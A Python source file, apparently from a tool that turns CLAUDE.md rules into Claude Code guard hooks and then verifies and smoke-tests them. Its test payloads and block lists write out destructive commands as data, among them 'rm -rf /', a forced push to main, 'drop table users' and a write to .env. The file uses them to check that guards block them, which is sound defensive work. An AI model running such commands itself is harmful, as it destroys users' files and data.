  2055. correct_field_lines = []
  2056. for i, line in enumerate(lines, 1):
  2057. # Skip comments
  2058. stripped = line.lstrip()
  2059. if stripped.startswith('#') or stripped.startswith('//'):
  2060. continue
  2061. # Detect jq patterns: .input.command, .input.file_path, etc.
  2062. # Also detect Python patterns: ['input'], .get('input')
  2063. # jq-style: .input.something (but NOT .tool_input.something)
  2064. for m in re.finditer(r'(?<!\w)\.input\.(\w+)', line):
  2065. # Make sure it's not part of .tool_input.
  2066. pos = m.start()
  2067. prefix = line[max(0, pos-5):pos]
  2068. if 'tool_' not in prefix:
  2069. wrong_field_lines.append((i, m.group(0), line.strip()[:80]))
  2070. # Python dict-style: ['input'] or .get('input') (but not ['tool_input'])
  2071. for m in re.finditer(r"""\[['"]input['"]\]|\.get\(['"]input['"]""", line):
  2072. pos = m.start()
  2073. prefix = line[max(0, pos-10):pos]
  2074. if 'tool_' not in prefix:
  2075. wrong_field_lines.append((i, m.group(0), line.strip()[:80]))
  2076. # Detect correct usage
  2077. for m in re.finditer(r'\.tool_input\.\w+|tool_input|tool_input', line):
  2078. correct_field_lines.append(i)
  2079. if wrong_field_lines:
  2080. hook_result['issues'].append({
  2081. 'severity': 'error',
  2082. 'check': 'field_name',
  2083. 'message': (
  2084. f'Uses .input.X instead of .tool_input.X ({len(wrong_field_lines)} occurrence(s)). '
  2085. 'Claude Code sends tool arguments in tool_input, not input. '
  2086. 'This hook silently fails open (gets empty values, never blocks).'
  2087. ),
  2088. 'details': [
  2089. {'line': ln, 'match': match, 'context': ctx}
  2090. for ln, match, ctx in wrong_field_lines
  2091. ],
  2092. })
  2093. elif correct_field_lines:
  2094. hook_result['info'].append({
  2095. 'check': 'field_name',
  2096. 'value': f'Uses tool_input correctly ({len(correct_field_lines)} reference(s))',
  2097. })
  2098. # Check: fail-open pattern (empty string check followed by exit 0)
  2099. # Common pattern: if [ -z "$VAR" ]; then exit 0; fi
  2100. # This is dangerous if the var is empty because the field name is wrong
  2101. fail_open_count = 0
  2102. for i, line in enumerate(lines, 1):
  2103. stripped = line.strip()
  2104. if re.match(r'if\s+\[\s+-z\s+"?\$\w+"?\s*\]', stripped):
  2105. # Look at the next few lines for exit 0
  2106. for j in range(i, min(i + 3, len(lines))):
  2107. if 'exit 0' in lines[j-1]: # Lines are 0-indexed in the list
  2108. fail_open_count += 1
  2109. break
  2110. if fail_open_count > 0 and wrong_field_lines:
  2111. hook_result['issues'].append({
  2112. 'severity': 'error',
  2113. 'check': 'fail_open',
  2114. 'message': (
  2115. f'Combines wrong field name with fail-open pattern ({fail_open_count} instance(s)). '
  2116. 'Hook reads empty value from wrong field, then exits 0 (allow). '
  2117. 'This hook never actually blocks anything.'
  2118. ),
  2119. })
  2120. elif fail_open_count > 0:
  2121. hook_result['info'].append({
  2122. 'check': 'fail_open',
  2123. 'value': f'{fail_open_count} empty-check exit(s) (safe if field names are correct)',
  2124. })
  2125. # Check: JSON parsing method
  2126. uses_jq = 'jq ' in content or 'jq\t' in content or content.endswith('jq')
  2127. uses_python_json = 'json.loads' in content or 'json.load' in content
  2128. if uses_jq:
  2129. hook_result['info'].append({'check': 'json_parser', 'value': 'jq'})
  2130. elif uses_python_json:
  2131. hook_result['info'].append({'check': 'json_parser', 'value': 'python json'})
  2132. elif hook_path.suffix in ('.sh', '.bash', ''):
  2133. # Shell script without jq is suspicious
  2134. if 'tool_name' in content or 'tool_input' in content or 'input' in content:
  2135. hook_result['issues'].append({
  2136. 'severity': 'warn',
  2137. 'check': 'json_parser',
  2138. 'message': 'Shell hook references tool data but does not use jq or python for JSON parsing.',
  2139. })
  2140. # Check: registered in settings.json
  2141. is_registered = False
  2142. for cmd in registered_commands:
  2143. if hook_path.name in cmd or str(hook_path) in cmd:
  2144. is_registered = True
  2145. break
  2146. if not is_registered:
  2147. hook_result['issues'].append({
  2148. 'severity': 'warn',
  2149. 'check': 'registration',
  2150. 'message': f'Not registered in {settings_path}. Hook will not fire.',
  2151. })
  2152. results.append(hook_result)
  2153. # 3. Check settings references point to existing files
  2154. for cmd in registered_commands:
  2155. # Extract file path from command (first token or path-like segment)
  2156. parts = cmd.split()
  2157. for part in parts:
  2158. if '/' in part and not part.startswith('-'):
  2159. if not Path(part).exists():
  2160. settings_issues.append({
  2161. 'severity': 'error',
  2162. 'message': f'settings.json references missing file: {part}',
  2163. })
  2164. break
  2165. # Summary
  2166. total_errors = sum(
  2167. 1 for h in results for i in h['issues'] if i['severity'] == 'error'
  2168. )
  2169. total_warnings = sum(
  2170. 1 for h in results for i in h['issues'] if i['severity'] == 'warn'
  2171. )
  2172. ok_hooks = sum(1 for h in results if not h['issues'])
  2173. return {
  2174. 'hooks': results,
  2175. 'settings_issues': settings_issues,
  2176. 'summary': {
  2177. 'total': len(results),
  2178. 'ok': ok_hooks,
  2179. 'warnings': total_warnings,
  2180. 'errors': total_errors,
  2181. },
  2182. }
  2183. def format_verify_report(result):
  2184. """Format verification results as a readable report."""
  2185. lines = []
  2186. summary = result['summary']
  2187. lines.append(f"Hook Health Check: {summary['total']} hook(s) scanned\n")
  2188. for hook in result['hooks']:
  2189. has_errors = any(i['severity'] == 'error' for i in hook['issues'])
  2190. has_warnings = any(i['severity'] == 'warn' for i in hook['issues'])
  2191. if has_errors:
  2192. status = 'FAIL'
  2193. elif has_warnings:
  2194. status = 'WARN'
  2195. else:
  2196. status = 'OK'
  2197. lines.append(f" [{status:>4}] {hook['name']}")
  2198. for issue in hook['issues']:
  2199. marker = 'ERR ' if issue['severity'] == 'error' else 'WARN'
  2200. lines.append(f" [{marker}] {issue['message']}")
  2201. if 'details' in issue:
  2202. for d in issue['details'][:3]: # Show max 3 examples
  2203. lines.append(f" L{d['line']}: {d['context']}")
  2204. # Settings issues
  2205. if result['settings_issues']:
  2206. lines.append(f"\nSettings issues:")
  2207. for si in result['settings_issues']:
  2208. lines.append(f" [{si['severity'].upper():>4}] {si['message']}")
  2209. # Summary
  2210. lines.append(f"\nSummary: {summary['ok']} ok, {summary['warnings']} warning(s), {summary['errors']} error(s)")
  2211. if summary['errors'] > 0:
  2212. lines.append("\nMost common fix: replace .input.X with .tool_input.X in hook scripts.")
  2213. lines.append("See: https://github.com/anthropics/claude-code/issues/32163")
  2214. return '\n'.join(lines)
  2215. def smoke_test_hooks(hooks_dir='.claude/hooks', settings_path='.claude/settings.json'):
  2216. """Run each registered hook with representative test payloads and verify it responds correctly.
  2217. Unlike --verify (static analysis), this actually executes hooks and checks:
  2218. - Hook runs without crashing
  2219. - Output is valid JSON
  2220. - JSON contains a 'decision' field
  2221. - Benign payloads get 'allow' (not false-positive blocking)
  2222. - Known-bad payloads get 'block' where detectable
  2223. Returns a dict with per-hook results and summary.
  2224. """
  2225. hooks_dir = Path(hooks_dir)
  2226. settings_path = Path(settings_path)
  2227. results = []
  2228. settings_issues = []
  2229. # Benign test payloads that should be allowed by any hook
  2230. BENIGN_PAYLOADS = [
  2231. {
  2232. 'label': 'Read a normal file',
  2233. 'payload': {"tool_name": "Read", "tool_input": {"file_path": "/tmp/smoke-test.txt"}},
  2234. },
  2235. {
  2236. 'label': 'Write to a temp file',
  2237. 'payload': {"tool_name": "Write", "tool_input": {"file_path": "/tmp/smoke-test-out.txt", "content": "test"}},
  2238. },
  2239. {
  2240. 'label': 'Run a safe Bash command',
  2241. 'payload': {"tool_name": "Bash", "tool_input": {"command": "echo hello"}},
  2242. },
  2243. ]
  2244. # Payloads that should be blocked (for hooks we can identify)
  2245. BLOCK_PAYLOADS = {
  2246. 'file-guard': {
  2247. 'label': 'Write to .env',
  2248. 'payload': {"tool_name": "Write", "tool_input": {"file_path": ".env", "content": "SECRET=x"}},
  2249. },
  2250. 'bash-guard': {
  2251. 'label': 'Run rm -rf /',
    • Note: Quoted as data in code: Runs `rm -rf` against a root or home-directory path
    • Line 2,525 on GitHub
  2252. 'payload': {"tool_name": "Bash", "tool_input": {"command": "rm -rf /"}},
    • Note: Quoted as data in code: Runs `rm -rf` against a root or home-directory path
    • Line 2,526 on GitHub
  2253. },
  2254. 'git-safe': {
  2255. 'label': 'Force push',
  2256. 'payload': {"tool_name": "Bash", "tool_input": {"command": "git push --force origin main"}},
  2257. },
  2258. 'branch-guard': {
  2259. 'label': 'Commit on main',
  2260. 'payload': {"tool_name": "Bash", "tool_input": {"command": "git commit -m 'test'"}},
  2261. },
  2262. }
  2263. # 1. Read settings.json to find registered hooks (handles JSONC)
  2264. registered = [] # list of (event_type, command)
  2265. if settings_path.exists():
  2266. try:
  2267. settings = load_settings_json(settings_path)
  2268. for event_type, entries in settings.get('hooks', {}).items():
  2269. for entry in entries:
  2270. for h in entry.get('hooks', []):
  2271. cmd = h.get('command', '')
  2272. if cmd:
  2273. registered.append((event_type, cmd))
  2274. except (KeyError, Exception) as e:
  2275. settings_issues.append(f'Cannot parse {settings_path}: {e}')
  2276. else:
  2277. return {
  2278. 'hooks': [],
  2279. 'settings_issues': [f'No settings file at {settings_path}'],
  2280. 'summary': {'total': 0, 'passed': 0, 'failed': 0, 'warnings': 0},
  2281. }
  2282. if not registered:
  2283. return {
  2284. 'hooks': [],
  2285. 'settings_issues': ['No hooks registered in settings.json'],
  2286. 'summary': {'total': 0, 'passed': 0, 'failed': 0, 'warnings': 0},
  2287. }
  2288. # 2. Test each hook
  2289. for event_type, command in registered:
  2290. hook_result = {
  2291. 'command': command,
  2292. 'event_type': event_type,
  2293. 'tests': [],
  2294. 'status': 'ok',
  2295. }
  2296. # Identify the hook type from the command path
  2297. hook_type = None
  2298. cmd_lower = command.lower()
  2299. for ht in ['file-guard', 'bash-guard', 'git-safe', 'branch-guard', 'enforce', 'session-log', 'read-once', 'armor']:
  2300. if ht in cmd_lower:
  2301. hook_type = ht
  2302. break
  2303. # Run benign payloads
  2304. for bp in BENIGN_PAYLOADS:
  2305. test_result = _run_hook_test(command, bp['payload'], bp['label'])
  2306. test_result['expect'] = 'allow'
  2307. if test_result['status'] == 'error':
  2308. hook_result['status'] = 'fail'
  2309. elif test_result['status'] == 'blocked':
  2310. # Benign payload was blocked = false positive
  2311. test_result['status'] = 'false_positive'
  2312. test_result['message'] = f"Benign payload blocked: {test_result.get('reason', 'unknown')}"
  2313. if hook_result['status'] != 'fail':
  2314. hook_result['status'] = 'warn'
  2315. hook_result['tests'].append(test_result)
  2316. # Run block payload if we identified the hook type
  2317. if hook_type and hook_type in BLOCK_PAYLOADS:
  2318. bp = BLOCK_PAYLOADS[hook_type]
  2319. test_result = _run_hook_test(command, bp['payload'], bp['label'])
  2320. test_result['expect'] = 'block'
  2321. if test_result['status'] == 'error':
  2322. hook_result['status'] = 'fail'
  2323. elif test_result['status'] == 'allowed':
  2324. # Bad payload was allowed = hook not working
  2325. test_result['status'] = 'fail_open'
  2326. test_result['message'] = 'Hook allowed a payload it should have blocked'
  2327. hook_result['status'] = 'fail'
  2328. hook_result['tests'].append(test_result)
  2329. results.append(hook_result)
  2330. # Summary
  2331. passed = sum(1 for r in results if r['status'] == 'ok')
  2332. failed = sum(1 for r in results if r['status'] == 'fail')
  2333. warnings = sum(1 for r in results if r['status'] == 'warn')
  2334. return {
  2335. 'hooks': results,
  2336. 'settings_issues': settings_issues,
  2337. 'summary': {
  2338. 'total': len(results),
  2339. 'passed': passed,
  2340. 'failed': failed,
  2341. 'warnings': warnings,
  2342. },
  2343. }
  2344. def _run_hook_test(command, payload, label):
  2345. """Execute a single hook with a test payload and check the response."""
  2346. result = {
  2347. 'label': label,
  2348. 'status': 'ok',
  2349. 'raw_output': '',
  2350. 'decision': None,
  2351. 'reason': None,
  2352. }
  2353. try:
  2354. proc = subprocess.run(
  2355. command,
  2356. input=json.dumps(payload),
  2357. capture_output=True,
  2358. text=True,
  2359. timeout=5,
  2360. shell=True,
  2361. )
  2362. result['raw_output'] = (proc.stdout or '')[:500]
  2363. result['exit_code'] = proc.returncode
  2364. stderr = (proc.stderr or '')[:200]
  2365. if stderr:
  2366. result['stderr'] = stderr
  2367. # Non-zero exit = hook crashed
  2368. if proc.returncode != 0 and not proc.stdout.strip():
  2369. result['status'] = 'error'
  2370. result['message'] = f'Exit code {proc.returncode}'
  2371. if stderr:
  2372. result['message'] += f': {stderr[:100]}'
  2373. return result
  2374. stdout = (proc.stdout or '').strip()
  2375. # Empty output = hook produced nothing (fail-open)
  2376. if not stdout:
  2377. result['status'] = 'error'
  2378. result['message'] = 'No output (hook is fail-open: empty stdout = allow)'
  2379. return result
  2380. # Parse JSON
  2381. try:
  2382. parsed = json.loads(stdout)
  2383. except json.JSONDecodeError:
  2384. result['status'] = 'error'
  2385. result['message'] = f'Invalid JSON output: {stdout[:100]}'
  2386. return result
  2387. # Check for decision field (supports both new and deprecated formats)
  2388. hso = parsed.get('hookSpecificOutput', {})
  2389. decision = hso.get('permissionDecision')
  2390. reason = hso.get('permissionDecisionReason', '')
  2391. if decision is None:
  2392. # Fall back to deprecated top-level format
  2393. decision = parsed.get('decision')
  2394. reason = parsed.get('reason', '')
  2395. # Map old values to new
  2396. if decision == 'block':
  2397. decision = 'deny'
  2398. elif decision == 'approve':
  2399. decision = 'allow'
  2400. if decision is None:
  2401. result['status'] = 'error'
  2402. result['message'] = f'Missing decision field in output: {stdout[:100]}'
  2403. return result
  2404. result['decision'] = decision
  2405. result['reason'] = reason
  2406. if decision == 'deny':
  2407. result['status'] = 'blocked'
  2408. elif decision == 'allow':
  2409. result['status'] = 'allowed'
  2410. else:
  2411. result['status'] = 'warn'
  2412. result['message'] = f'Unknown decision value: {decision}'
  2413. except subprocess.TimeoutExpired:
  2414. result['status'] = 'error'
  2415. result['message'] = 'Hook timed out after 5 seconds'
  2416. except FileNotFoundError:
  2417. result['status'] = 'error'
  2418. result['message'] = f'Command not found: {command}'
  2419. except Exception as e:
  2420. result['status'] = 'error'
  2421. result['message'] = f'Unexpected error: {e}'
  2422. return result
  2423. def format_smoke_test_report(result):
  2424. """Format smoke test results as a readable report."""
  2425. lines = []
  2426. summary = result['summary']
  2427. lines.append(f"Smoke Test: {summary['total']} hook(s) tested\n")
  2428. for hook in result['hooks']:
  2429. if hook['status'] == 'ok':
  2430. status = 'PASS'
  2431. elif hook['status'] == 'warn':
  2432. status = 'WARN'
  2433. else:
  2434. status = 'FAIL'
  2435. # Short name from command
  2436. cmd = hook['command']
  2437. name = Path(cmd.split()[0]).name if cmd else '???'
  2438. lines.append(f" [{status:>4}] {name} ({hook['event_type']})")
  2439. for test in hook['tests']:
  2440. if test['status'] in ('allowed', 'blocked') and test['status'] == test['expect'].replace('allow', 'allowed').replace('block', 'blocked'):
  2441. # Expected result
  2442. icon = 'OK'
  2443. elif test['status'] == 'error':
  2444. icon = 'ERR'
  2445. elif test.get('message', '').startswith('Benign'):
  2446. icon = 'FP' # false positive
  2447. elif test['status'] == 'fail_open':
  2448. icon = 'OPEN' # fail-open
  2449. else:
  2450. icon = 'OK'
  2451. detail = ''
  2452. if test.get('message'):
  2453. detail = f' -- {test["message"]}'
  2454. elif test.get('decision'):
  2455. detail = f' -> {test["decision"]}'
  2456. lines.append(f" [{icon:>4}] {test['label']}{detail}")
  2457. if result['settings_issues']:
  2458. lines.append(f"\nSettings issues:")
  2459. for si in result['settings_issues']:
  2460. lines.append(f" {si}")
  2461. lines.append(f"\nSummary: {summary['passed']} passed, {summary['warnings']} warning(s), {summary['failed']} failed")
  2462. if summary['failed'] > 0:
  2463. lines.append("\nFailed hooks are not protecting your project.")
  2464. lines.append("Common causes:")
  2465. lines.append(" - Wrong JSON field: .input.X instead of .tool_input.X")
  2466. lines.append(" - Missing jq: install with 'brew install jq' or 'apt install jq'")
  2467. lines.append(" - Not executable: chmod +x <hook-path>")
  2468. lines.append(" - Empty output on error: hook exits silently instead of printing JSON")
  2469. return '\n'.join(lines)
  2470. # --- Output Formatting ---
  2471. def format_scan_table(enforceable, skipped):
  2472. """Format scan results as a readable table."""
  2473. lines = []
  2474. if enforceable:
  2475. lines.append(f"Found {len(enforceable)} enforceable directive(s):\n")
  2476. lines.append(f"{'#':>3} {'Type':<20} {'What it does':<40} {'Severity':<8} {'Source line'}")
  2477. lines.append(f"{'---':>3} {'----':<20} {'---':<40} {'---':<8} {'---'}")
  2478. for i, d in enumerate(enforceable, 1):
  2479. lines.append(f"{i:>3} {d.hook_type:<20} {d.description:<40} {d.severity:<8} L{d.line_num}")
  2480. else:
  2481. lines.append("No enforceable directives found.")
  2482. if skipped:
  2483. lines.append(f"\nSkipped {len(skipped)} @enforced directive(s) (could not classify):")
  2484. for line_num, text, reason in skipped:
  2485. lines.append(f" L{line_num}: {text[:60]}... ({reason})")
  2486. return '\n'.join(lines)
  2487. def format_json(enforceable, skipped):
  2488. """Format scan results as JSON."""
  2489. return json.dumps({
  2490. 'enforceable': [d.to_dict() for d in enforceable],
  2491. 'skipped': [{'line': ln, 'text': t, 'reason': r} for ln, t, r in skipped],
  2492. }, indent=2)
  2493. # --- Self Tests ---
  2494. def run_tests():
  2495. """Run self-tests."""
  2496. passed = 0
  2497. failed = 0
  2498. def check(name, result, expected):
  2499. nonlocal passed, failed
  2500. if result == expected:
  2501. passed += 1
  2502. else:
  2503. failed += 1
  2504. print(f" FAIL: {name}")
  2505. print(f" expected: {expected}")
  2506. print(f" got: {result}")
  2507. # Test file-guard detection
  2508. d = classify_directive("Never modify .env files", 1)
  2509. check("file-guard basic", d is not None and d.hook_type == 'file-guard', True)
  2510. check("file-guard pattern", d is not None and '.env' in d.patterns, True)
  2511. d = classify_directive("Don't edit secrets/ directory", 2)
  2512. check("file-guard secrets", d is not None and d.hook_type == 'file-guard', True)
  2513. d = classify_directive("Protected files: `.env`, `secrets/`, `*.pem`", 3)
  2514. check("file-guard list", d is not None and d.hook_type == 'file-guard', True)
  2515. check("file-guard list count", d is not None and len(d.patterns) == 3, True)
  2516. d = classify_directive("Do not touch credentials.json", 4)
  2517. check("file-guard credentials", d is not None and d.hook_type == 'file-guard', True)
  2518. # Test bash-guard detection
  2519. d = classify_directive("Never run `rm -rf /`", 5)
    • Note: Quoted as data in code: Runs `rm -rf` against a root or home-directory path
    • Line 2,847 on GitHub
  2520. check("bash-guard rm", d is not None and d.hook_type == 'bash-guard', True)
  2521. d = classify_directive("Don't execute sudo commands", 6)
  2522. check("bash-guard sudo", d is not None and d.hook_type == 'bash-guard', True)
  2523. d = classify_directive("Blocked commands: `rm -rf`, `sudo`, `push --force`", 7)
  2524. check("bash-guard list", d is not None and d.hook_type == 'bash-guard', True)
  2525. check("bash-guard list count", d is not None and len(d.patterns) >= 2, True)
  2526. # Test branch-guard detection
  2527. d = classify_directive("Never commit to main", 8)
  2528. check("branch-guard basic", d is not None and d.hook_type == 'branch-guard', True)
  2529. check("branch-guard pattern", d is not None and 'main' in d.patterns, True)
  2530. d = classify_directive("Don't push to production or staging", 9)
  2531. check("branch-guard multi", d is not None and d.hook_type == 'branch-guard', True)
  2532. check("branch-guard has production", d is not None and 'production' in d.patterns, True)
  2533. check("branch-guard has staging", d is not None and 'staging' in d.patterns, True)
  2534. d = classify_directive("Don't commit to main or production", 20)
  2535. check("branch-guard or", d is not None and d.hook_type == 'branch-guard', True)
  2536. check("branch-guard or main", d is not None and 'main' in d.patterns, True)
  2537. check("branch-guard or production", d is not None and 'production' in d.patterns, True)
  2538. d = classify_directive("Protected branches: main, release", 10)
  2539. check("branch-guard list", d is not None and d.hook_type == 'branch-guard', True)
  2540. # Test require-prior-tool detection
  2541. d = classify_directive("Always run tests before committing", 11)
  2542. check("require-prior basic", d is not None and d.hook_type in ('require-prior-tool', 'require-prior-command'), True)
  2543. # Test non-enforceable directives
  2544. d = classify_directive("Write clean code", 12)
  2545. check("skip subjective", d is None, True)
  2546. d = classify_directive("Use descriptive variable names", 13)
  2547. check("skip variable names", d is None, True)
  2548. d = classify_directive("Follow REST conventions", 14)
  2549. check("skip conventions", d is None, True)
  2550. d = classify_directive("Be concise in responses", 15)
  2551. check("skip concise", d is None, True)
  2552. d = classify_directive("", 16)
  2553. check("skip empty", d is None, True)
  2554. d = classify_directive("# Header", 17)
  2555. check("skip header", d is None, True)
  2556. # Test hook generation
  2557. d = Directive(
  2558. text="Never modify .env files",
  2559. hook_type='file-guard',
  2560. patterns=['.env'],
  2561. description="Block Write/Edit to: .env",
  2562. line_num=1,
  2563. )
  2564. hook = generate_hook(d)
  2565. check("hook gen file-guard", hook is not None, True)
  2566. check("hook has jq", hook is not None and 'jq' in hook, True)
  2567. check("hook has deny", hook is not None and 'deny' in hook, True)
  2568. d = Directive(
  2569. text="Never run rm -rf",
  2570. hook_type='bash-guard',
  2571. patterns=['rm -rf'],
  2572. description="Block commands: rm -rf",
  2573. line_num=2,
  2574. )
  2575. hook = generate_hook(d)
  2576. check("hook gen bash-guard", hook is not None, True)
  2577. check("hook bash tool check", hook is not None and 'Bash' in hook, True)
  2578. check("hook bash case-insensitive matching", hook is not None and 'shopt -s nocasematch' in hook, True)
  2579. d = Directive(
  2580. text="Never run rm",
  2581. hook_type='bash-guard',
  2582. patterns=['rm'],
  2583. description="Block commands: rm",
  2584. line_num=5,
  2585. )
  2586. hook = generate_hook(d)
  2587. check("hook gen bash token-aware rm", hook is not None and '[^[:alnum:]_./-])rm' in hook, True)
  2588. if hook:
  2589. with tempfile.NamedTemporaryFile(mode='w', suffix='.sh', delete=False) as f:
  2590. f.write(hook)
  2591. f.flush()
  2592. hook_path = f.name
  2593. try:
  2594. os.chmod(hook_path, 0o755)
  2595. proc = subprocess.run(
  2596. [hook_path],
  2597. input=json.dumps({"tool_name": "Bash", "tool_input": {"command": "RM notes.md"}}),
  2598. capture_output=True,
  2599. text=True,
  2600. check=True,
  2601. )
  2602. check("hook bash token case-insensitive rm", '"permissionDecision": "deny"' in proc.stdout, True)
  2603. proc = subprocess.run(
  2604. [hook_path],
  2605. input=json.dumps({"tool_name": "Bash", "tool_input": {"command": "echo term notes.md"}}),
  2606. capture_output=True,
  2607. text=True,
  2608. check=True,
  2609. )
  2610. check("hook bash token avoids term", proc.stdout.strip(), "")
  2611. finally:
  2612. os.unlink(hook_path)
  2613. d = Directive(
  2614. text="Never run ALTER, DROP, TRUNCATE, INSERT, UPDATE, or DELETE",
  2615. hook_type='bash-guard',
  2616. patterns=['ALTER', 'DROP', 'TRUNCATE', 'INSERT', 'UPDATE', 'DELETE'],
  2617. description="Block commands: ALTER, DROP, TRUNCATE, INSERT, UPDATE, DELETE",
  2618. line_num=6,
  2619. )
  2620. hook = generate_hook(d)
  2621. if hook:
  2622. with tempfile.NamedTemporaryFile(mode='w', suffix='.sh', delete=False) as f:
  2623. f.write(hook)
  2624. f.flush()
  2625. hook_path = f.name
  2626. try:
  2627. os.chmod(hook_path, 0o755)
  2628. proc = subprocess.run(
  2629. [hook_path],
  2630. input=json.dumps({"tool_name": "Bash", "tool_input": {"command": "psql -c 'drop table users'"}}),
  2631. capture_output=True,
  2632. text=True,
  2633. check=True,
  2634. )
  2635. check("hook bash SQL case-insensitive drop", '"permissionDecision": "deny"' in proc.stdout, True)
  2636. finally:
  2637. os.unlink(hook_path)
  2638. d = Directive(
  2639. text="Never commit to main",
  2640. hook_type='branch-guard',
  2641. patterns=['main'],
  2642. description="Block commits to: main",
  2643. line_num=3,
  2644. )
  2645. hook = generate_hook(d)
  2646. check("hook gen branch-guard", hook is not None, True)
  2647. check("hook branch check", hook is not None and 'BRANCH' in hook, True)
  2648. # Test extract functions
  2649. pats = extract_file_patterns('".env", "secrets/", "*.pem"')
  2650. check("extract file patterns", len(pats) >= 3, True)
  2651. pats = extract_command_patterns('`rm -rf /` and `sudo rm`')
    • Note: Quoted as data in code: Runs `rm -rf` against a root or home-directory path
    • Line 2,999 on GitHub
  2652. check("extract cmd patterns backtick", len(pats) >= 1, True)
  2653. pats = extract_command_patterns('push --force or push -f')
  2654. check("extract cmd push force", 'push --force' in pats, True)
  2655. check("extract cmd push force not normal push", 'git push' in pats, False)
  2656. branches = extract_branch_names('main, production, staging')
  2657. check("extract branches", len(branches) == 3, True)
  2658. # Test *.pem cleanup
  2659. pats = extract_file_patterns('`*.pem` files')
  2660. check("pem glob stripped", '.pem' in pats, True)
  2661. check("pem no star", '*.pem' not in pats, True)
  2662. # Test filename deduplication
  2663. seen = set()
  2664. d1 = Directive("test1", "file-guard", [".env"], "test", 1)
  2665. d2 = Directive("test2", "file-guard", [".env"], "test", 2)
  2666. fn1 = hook_filename(d1, 0, seen)
  2667. fn2 = hook_filename(d2, 1, seen)
  2668. check("filename dedup different", fn1 != fn2, True)
  2669. check("filename dedup has suffix", '_2' in fn2, True)
  2670. # Test hook filename generation
  2671. d = Directive("test", "file-guard", [".env"], "test", 1)
  2672. fn = hook_filename(d, 0)
  2673. check("filename format", fn.startswith("enforce_file_guard_"), True)
  2674. check("filename ends sh", fn.endswith(".sh"), True)
  2675. # Test scan on a sample CLAUDE.md
  2676. sample = """# Project Rules
  2677. ## Safety
  2678. - Never modify .env files @enforced
  2679. - Don't run `rm -rf` on anything @enforced
  2680. - Never commit to main @enforced
  2681. - Always run tests before committing @enforced
  2682. ## Style
  2683. - Write clean code
  2684. - Use descriptive variable names
  2685. - Follow REST conventions
  2686. """
  2687. with tempfile.NamedTemporaryFile(mode='w', suffix='.md', delete=False) as f:
  2688. f.write(sample)
  2689. f.flush()
  2690. enforceable, skipped = scan_file(f.name)
  2691. check("scan sample count", len(enforceable) >= 3, True)
  2692. types = {d.hook_type for d in enforceable}
  2693. check("scan has file-guard", 'file-guard' in types, True)
  2694. check("scan has bash-guard", 'bash-guard' in types, True)
  2695. check("scan has branch-guard", 'branch-guard' in types, True)
  2696. os.unlink(f.name)
  2697. # Test install
  2698. with tempfile.TemporaryDirectory() as tmpdir:
  2699. hooks_dir = os.path.join(tmpdir, '.claude', 'hooks')
  2700. settings_path = os.path.join(tmpdir, '.claude', 'settings.json')
  2701. test_directives = [
  2702. Directive("Never modify .env", "file-guard", [".env"], "test", 1),
  2703. Directive("Never run sudo", "bash-guard", ["sudo"], "test", 2),
  2704. ]
  2705. written = install_hooks(test_directives, hooks_dir, settings_path)
  2706. check("install wrote files", len(written) == 2, True)
  2707. check("install files exist", all(os.path.exists(w) for w in written), True)
  2708. check("install settings exists", os.path.exists(settings_path), True)
  2709. settings = json.loads(Path(settings_path).read_text())
  2710. check("install has hooks key", 'hooks' in settings, True)
  2711. check("install has PreToolUse", 'PreToolUse' in settings.get('hooks', {}), True)
  2712. # Test idempotent install (should not duplicate)
  2713. written2 = install_hooks(test_directives, hooks_dir, settings_path)
  2714. settings2 = json.loads(Path(settings_path).read_text())
  2715. hook_count = len(settings2['hooks']['PreToolUse'][0]['hooks'])
  2716. check("install idempotent", hook_count == 2, True)
  2717. # Test force-push detection (new: git operation without run/execute verb)
  2718. d = classify_directive("Do not force push to any branch", 21)
  2719. check("force-push detect", d is not None and d.hook_type == 'bash-guard', True)
  2720. check("force-push patterns", d is not None and 'force push' in d.patterns, True)
  2721. check("force-push alias push --force", d is not None and 'push --force' in d.patterns, True)
  2722. check("force-push alias push -f", d is not None and 'push -f' in d.patterns, True)
  2723. d = classify_directive("Never reset --hard", 22)
  2724. check("reset-hard detect", d is not None and d.hook_type == 'bash-guard', True)
  2725. check("reset-hard pattern", d is not None and 'reset --hard' in d.patterns, True)
  2726. # Test branch-guard with adverb ("directly")
  2727. d = classify_directive("Never commit directly to main or production", 23)
  2728. check("branch-guard adverb", d is not None and d.hook_type == 'branch-guard', True)
  2729. check("branch-guard adverb main", d is not None and 'main' in d.patterns, True)
  2730. check("branch-guard adverb production", d is not None and 'production' in d.patterns, True)
  2731. # Test bare filename detection
  2732. d = classify_directive("Don't edit the Makefile", 24)
  2733. check("file-guard makefile", d is not None and d.hook_type == 'file-guard', True)
  2734. check("file-guard makefile pattern", d is not None and 'Makefile' in d.patterns, True)
  2735. d = classify_directive("Never modify Dockerfile", 25)
  2736. check("file-guard dockerfile", d is not None and d.hook_type == 'file-guard', True)
  2737. d = classify_directive("Don't edit package.json", 26)
  2738. check("file-guard package.json", d is not None and d.hook_type == 'file-guard', True)
  2739. # Test tool-block detection
  2740. d = classify_directive("Don't use WebSearch", 27)
  2741. check("tool-block websearch", d is not None and d.hook_type == 'tool-block', True)
  2742. check("tool-block websearch pattern", d is not None and 'WebSearch' in d.patterns, True)
  2743. d = classify_directive("Never use WebFetch", 28)
  2744. check("tool-block webfetch", d is not None and d.hook_type == 'tool-block', True)
  2745. d = classify_directive("Avoid using Agent", 29)
  2746. check("tool-block agent", d is not None and d.hook_type == 'tool-block', True)
  2747. # Test tool-block hook generation
  2748. d = Directive("Don't use WebSearch", "tool-block", ["WebSearch"], "Block tools: WebSearch", 1)
  2749. hook = generate_hook(d)
  2750. check("hook gen tool-block", hook is not None, True)
  2751. check("hook tool-block has tool name", hook is not None and 'WebSearch' in hook, True)
  2752. check("hook tool-block has deny", hook is not None and '"deny"' in hook, True)
  2753. # Test force-push alias expansion
  2754. pats = extract_command_patterns('force push is not allowed')
  2755. check("extract force push", 'force push' in pats, True)
  2756. check("extract force push alias", 'push --force' in pats, True)
  2757. check("extract force push alias -f", 'push -f' in pats, True)
  2758. # Test executable permission
  2759. with tempfile.TemporaryDirectory() as tmpdir:
  2760. hooks_dir = os.path.join(tmpdir, 'hooks')
  2761. settings_path = os.path.join(tmpdir, 'settings.json')
  2762. written = install_hooks(
  2763. [Directive("Never modify .env", "file-guard", [".env"], "test", 1)],
  2764. hooks_dir, settings_path
  2765. )
  2766. if written:
  2767. check("install executable", os.access(written[0], os.X_OK), True)
  2768. # Test "read" verb in file-guard includes Read tool
  2769. d = classify_directive("Don't read files in secrets/", 100)
  2770. check("file-guard read verb", d is not None and d.hook_type == 'file-guard', True)
